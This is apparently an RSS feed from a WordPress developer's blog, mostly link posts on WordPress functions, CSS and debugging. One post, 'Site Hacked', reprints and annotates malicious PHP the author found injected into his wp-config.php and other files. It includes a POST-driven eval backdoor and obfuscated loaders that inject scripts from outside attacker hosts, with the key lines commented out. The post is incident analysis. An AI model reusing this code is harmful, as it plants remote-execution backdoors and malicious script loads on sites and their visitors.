<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Gabriel</title>
	<atom:link href="http://gabriel.ppgr.com.br/feed/" rel="self" type="application/rss+xml" />
	<link>http://gabriel.ppgr.com.br</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 15:56:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress Multisite: Practical Functions And Methods</title>
		<link>http://gabriel.ppgr.com.br/dicas/wordpress-multisite-practical-functions-and-methods/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/wordpress-multisite-practical-functions-and-methods/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 15:56:45 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Multisite]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=552</guid>
		<description><![CDATA[http://wp.smashingmagazine.com/2011/11/17/wordpress-multisite-practical-functions-methods/]]></description>
			<content:encoded><![CDATA[<p><a href="http://wp.smashingmagazine.com/2011/11/17/wordpress-multisite-practical-functions-methods/">http://wp.smashingmagazine.com/2011/11/17/wordpress-multisite-practical-functions-methods/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/wordpress-multisite-practical-functions-and-methods/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5 Ways to Debug WordPress</title>
		<link>http://gabriel.ppgr.com.br/dicas/5-ways-to-debug-wordpress/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/5-ways-to-debug-wordpress/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 20:39:59 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Tutoriais]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=548</guid>
		<description><![CDATA[http://nacin.com/2010/04/23/5-ways-to-debug-wordpress/]]></description>
			<content:encoded><![CDATA[<p><a href="http://nacin.com/2010/04/23/5-ways-to-debug-wordpress/">http://nacin.com/2010/04/23/5-ways-to-debug-wordpress/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/5-ways-to-debug-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Numbering in style</title>
		<link>http://gabriel.ppgr.com.br/dicas/numbering-in-style/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/numbering-in-style/#comments</comments>
		<pubDate>Tue, 06 Dec 2011 01:28:22 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=543</guid>
		<description><![CDATA[Which reminds me: the numbers don&#8217;t have to be decimals. They can be anything that list-style-type can be. Namely: disc (• • •) circle (? ? ?) square (? ? ?) decimal (1 2 3) decimal-leading-zero (01, 02, 03) lower-roman &#8230; <a href="http://gabriel.ppgr.com.br/dicas/numbering-in-style/">Continuar lendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Which reminds me: the numbers don&#8217;t have to be decimals. They can be anything that <code>list-style-type</code> can be. <a href="http://dev.w3.org/csswg/css3-lists/#predefined-counters">Namely</a>:</p>
<p>disc (• • •)<br />
circle (? ? ?)<br />
square (? ? ?)<br />
decimal (1 2 3)<br />
decimal-leading-zero (01, 02, 03)<br />
lower-roman (i ii iii)<br />
upper-roman (I II III)<br />
lower-greek (? ? ?)<br />
lower-latin (a b c)<br />
upper-latin (A B C)<br />
armenian (? ? ?)<br />
georgian (? ? ?)<br />
lower-alpha (a b c)<br />
upper-alpha (A B C)</p>
<p><a href="http://css-tricks.com/15358-numbering-in-style/">http://css-tricks.com/15358-numbering-in-style/</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/numbering-in-style/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New WordPress functions for themes and plugins</title>
		<link>http://gabriel.ppgr.com.br/wordpress/new-wordpress-functions-for-themes-and-plugins/</link>
		<comments>http://gabriel.ppgr.com.br/wordpress/new-wordpress-functions-for-themes-and-plugins/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 01:49:40 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Temas]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=540</guid>
		<description><![CDATA[get_stylesheet_directory_uri(); - returns the http:// path to either the child theme directory location or the main theme if no childtheme exists. get_stylesheet_directory(); - returns the local directory equivalent location to the files either in the child theme if it exists &#8230; <a href="http://gabriel.ppgr.com.br/wordpress/new-wordpress-functions-for-themes-and-plugins/">Continuar lendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>get_stylesheet_directory_uri();<br />
- returns the http:// path to either the child theme directory location or the main theme if no childtheme exists.</p>
<p>get_stylesheet_directory();<br />
- returns the local directory equivalent location to the files either in the child theme if it exists or the main theme if no child theme</p>
<p>get_template_directory_uri();<br />
- returns the http:// location of your main theme itself and never the child theme</p>
<p>get_template_directory();<br />
- returns the local directory location of the main theme files</p>
<p><a href="http://wordpress.org/support/topic/templatepath-vs-get_bloginfotemplate_directory">http://wordpress.org/support/topic/templatepath-vs-get_bloginfotemplate_directory</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/wordpress/new-wordpress-functions-for-themes-and-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I need a site. How much?</title>
		<link>http://gabriel.ppgr.com.br/dicas/i-need-a-site-how-much/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/i-need-a-site-how-much/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 19:53:54 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=536</guid>
		<description><![CDATA[http://justcoded.com/news/i-need-a-site/]]></description>
			<content:encoded><![CDATA[<p><a href="http://justcoded.com/news/i-need-a-site/">http://justcoded.com/news/i-need-a-site/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/i-need-a-site-how-much/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Site Hacked</title>
		<link>http://gabriel.ppgr.com.br/hacked/site-hacked/</link>
		<comments>http://gabriel.ppgr.com.br/hacked/site-hacked/#comments</comments>
		<pubDate>Thu, 10 Nov 2011 18:35:26 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[hacked]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=517</guid>
		<description><![CDATA[First code, that got inserted into wp-config.php. Did some formatting to make it easier to understand. global $sessdt_o; if (!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if (!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if (!@headers_sent()) { //@setcookie($sessdt_k, $sessdt_f); } else &#8230; <a href="http://gabriel.ppgr.com.br/hacked/site-hacked/">Continuar lendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>First code, that got inserted into wp-config.php. Did some formatting to make it easier to understand.</p>
<pre>

global $sessdt_o;
if (!$sessdt_o) {
    $sessdt_o = 1;
    $sessdt_k = "lb11";
    if (!@$_COOKIE[$sessdt_k]) {
        $sessdt_f = "102";
        if (!@headers_sent()) {
             //@setcookie($sessdt_k, $sessdt_f);
        } else {
            //echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
        }
    } else {
        if ($_COOKIE[$sessdt_k] == "102") {
            $sessdt_f = (rand(1000, 9000) + 1);
            if (!@headers_sent()) {
                //@setcookie($sessdt_k, $sessdt_f);
            } else {
                //echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
            }
            $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
            $sessdt_v = urlencode(strrev($sessdt_j));
            $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v, -200);
            //echo "<script src='$sessdt_u'></script>";
            //echo "<meta http-equiv='refreshxxxxxxxxxxxxxxxxxxxx' content='0;url=http://$sessdt_j'><!--
// i have added this-->";
        }
    }
    $sessdt_p = "showimg";
    if (isset($_POST[$sessdt_p])) {
        //eval(base64_decode(str_replace(chr(32), chr(43), $_POST[$sessdt_p])));
        exit;
    }
}
</pre>
<p>Second code, found at / and at wp-admin/  &#8211; don&#8217;t have the file name right now.</p>
<p>Added some comments to debug it, not fully done yet.</p>
<pre>
$vf = substr(1,1);
foreach( array( 10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,114,117,101,99,115,115) as $vj[0] ) {
	$vf.=chr($vj[0]);
}
//echo '
<pre>$vf = '; print_r(htmlentities($vf)); echo '</pre>
<p>';</p>
<p>$vj[0]=substr($vf,0,1);   // newline<br />
$vj[1]=substr($vf,1,102); // document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='<br />
$vj[2]=substr($vf,103,3); // '<br />
$vj[3]=substr($vf,106,6); // newline \'<br />
$vj[4]=substr($vf,112,2); // p1<br />
$vj[5]=substr($vf,114,-7);/* <script srcxxxxxxxxxxxxxxxxxxxxxxx="http://facetoface.de/ext/"></script>*/<br />
$vj[6]=substr($vf,-7);    // truecss</p>
<p>//echo '
<pre>$vj= '; print_r($vj); echo '</pre>
<p>';<br />
//echo '<br />chr(97) ' . chr(97);<br />
//echo '<br />chr(97).chr(106).chr(97).chr(120) ' . chr(97).chr(106).chr(97).chr(120);<br />
//echo '<br />substr( $vj[1],79,3 ) ' . substr( $vj[1],79,3 );<br />
//echo '<br />chr(116).chr(120) ' . chr(116).chr(120);</p>
<p>if ( isset( $_GET[$vj[6]] ) ) {<br />
	$vj[7]=0;<br />
	if( isset( $_POST[chr(97)])){ // $_POST[a]<br />
		$vj[7]=$_POST[chr(97)];<br />
	}<br />
	$vj[8]=chr(97).chr(106).chr(97).chr(120); // ajax<br />
	$vj[9]=0;<br />
	if ( isset( $_POST[$vj[8]] ) ){<br />
		$vj[9]=$_POST[$vj[8]];<br />
	}<br />
	if ( $vj[7] == substr( $vj[1],79,3 ) &#038;&#038; strlen( $vj[9] ) == 4 ){ //Php &#038;&#038; ajax<br />
		@ob_start();<br />
		//@eval($_POST[$vj[4]]); // $_POST[p1]<br />
		$vj[6]=$vj[1].addcslashes( htmlspecialchars( @ob_get_clean() ), $vj[3] ).$vj[2];  // document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML=' + eval + \' + '<br />
//		echo strlen( $vj[6] ).$vj[0].$vj[6]; // strlen + newline + javascript comand;<br />
	} else {<br />
		$vj[0]=chr(116).chr(120); // tx<br />
		if ( ! isset( $_POST[$vj[0]] ) ) { // $_POST[tx];<br />
//			echo $vj[5];  /* <script srcxxxxxxxxxxxxxxxxxx="http://facetoface.de/ext/"></script> */<br />
		} else {<br />
			//@eval( urldecode( $_POST[$vj[0]] ) ); // $_POST[tx];<br />
//			var_dump( urldecode( $_POST[$vj[0]] ) );<br />
		}<br />
	}<br />
	exit;<br />
}<br />
unset($vf);<br />
unset($vj);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/hacked/site-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Horizontal Centering</title>
		<link>http://gabriel.ppgr.com.br/dicas/horizontal-centering/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/horizontal-centering/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 10:19:49 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=522</guid>
		<description><![CDATA[Virtually every method of horizontal centering with CSS &#160; http://haslayout.net/css-tuts/Horizontal-Centering]]></description>
			<content:encoded><![CDATA[<p>Virtually every method of horizontal centering with CSS</p>
<p>&nbsp;</p>
<p><a href="http://haslayout.net/css-tuts/Horizontal-Centering">http://haslayout.net/css-tuts/Horizontal-Centering</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/horizontal-centering/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introduction To URL Rewriting</title>
		<link>http://gabriel.ppgr.com.br/dicas/introduction-to-url-rewriting/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/introduction-to-url-rewriting/#comments</comments>
		<pubDate>Fri, 04 Nov 2011 17:08:40 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=514</guid>
		<description><![CDATA[http://coding.smashingmagazine.com/2011/11/02/introduction-to-url-rewriting/]]></description>
			<content:encoded><![CDATA[<p><a href="http://coding.smashingmagazine.com/2011/11/02/introduction-to-url-rewriting/">http://coding.smashingmagazine.com/2011/11/02/introduction-to-url-rewriting/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/introduction-to-url-rewriting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>25 Secrets of the Browser Developer Tools</title>
		<link>http://gabriel.ppgr.com.br/dicas/25-secrets-of-the-browser-developer-tools/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/25-secrets-of-the-browser-developer-tools/#comments</comments>
		<pubDate>Fri, 04 Nov 2011 16:45:03 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Dicas]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=512</guid>
		<description><![CDATA[http://www.andismith.com/blog/2011/11/25-dev-tool-secrets/]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.andismith.com/blog/2011/11/25-dev-tool-secrets/">http://www.andismith.com/blog/2011/11/25-dev-tool-secrets/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/25-secrets-of-the-browser-developer-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Learning WordPress: Most Useful Tips and Tutorials</title>
		<link>http://gabriel.ppgr.com.br/dicas/learning-wordpress-most-useful-tips-and-tutorials/</link>
		<comments>http://gabriel.ppgr.com.br/dicas/learning-wordpress-most-useful-tips-and-tutorials/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 17:09:41 +0000</pubDate>
		<dc:creator>Gabriel Reguly</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Tutoriais]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://gabriel.ppgr.com.br/?p=520</guid>
		<description><![CDATA[http://www.smashingmagazine.com/learning-wordpress-useful-wordpress-tips-tutorials/]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.smashingmagazine.com/learning-wordpress-useful-wordpress-tips-tutorials/">http://www.smashingmagazine.com/learning-wordpress-useful-wordpress-tips-tutorials/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gabriel.ppgr.com.br/dicas/learning-wordpress-most-useful-tips-and-tutorials/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

